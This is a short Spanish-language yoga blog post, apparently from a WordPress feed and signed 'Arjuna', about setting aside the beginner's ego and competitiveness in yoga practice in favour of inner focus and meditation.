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				<content:encoded><![CDATA[<p>Yo, tu, el, nosotros, vosotros, ellos&#8230; Todos en algo hemos sido principiantes alguna vez.</p>
<p>En el mundo del Yoga también existe «El ego del principiante» a pesar de que es una filosofía en la cual trabaja valores como la humildad, el respeto, la interiorización&#8230; La falta de experiencia, la curiosidad mental y sobretodo el ego nos hace abrir ojos observar al profesor o al compañero y dejarnos llevar hacia la vía de la competencia&#8230; Y&#8230; Error!!!</p>
<p>Nunca podrás avanzar internamente si  practicas con ego, debes dejarlo para otras cosas. En la práctica del Yoga vacía tu vaso cada vez qué empieces, de este modo avanzaras en todos los campos.</p>
<p>Yo siempre digo a mis alumnos que no se queden con las «asanas» eso es muy mundano, lo difícil es la interiorización y el camino es la conexión con el todo; Ser, presente, cuerpo físico, estado meditativo&#8230; Y el objetivo es la meditación, ahí es el momento «Samadhi» El despertar, el salir de tu practica con plenitud, lleno de amor y equilibrado.</p>
<p>Así que mensajito a tod@s los Yoguis, dejar el ego en la puerta de la escuela y tomar contacto con las sensaciones del yoga en estado puro, sin egos</p>
<p><a href="https://yogaconarjuna.files.wordpress.com/2015/07/img_9309.jpg"><img src="https://yogaconarjuna.files.wordpress.com/2015/07/img_9309.jpg" alt="" /></a><br />
<strong>Arjuna</strong></p>
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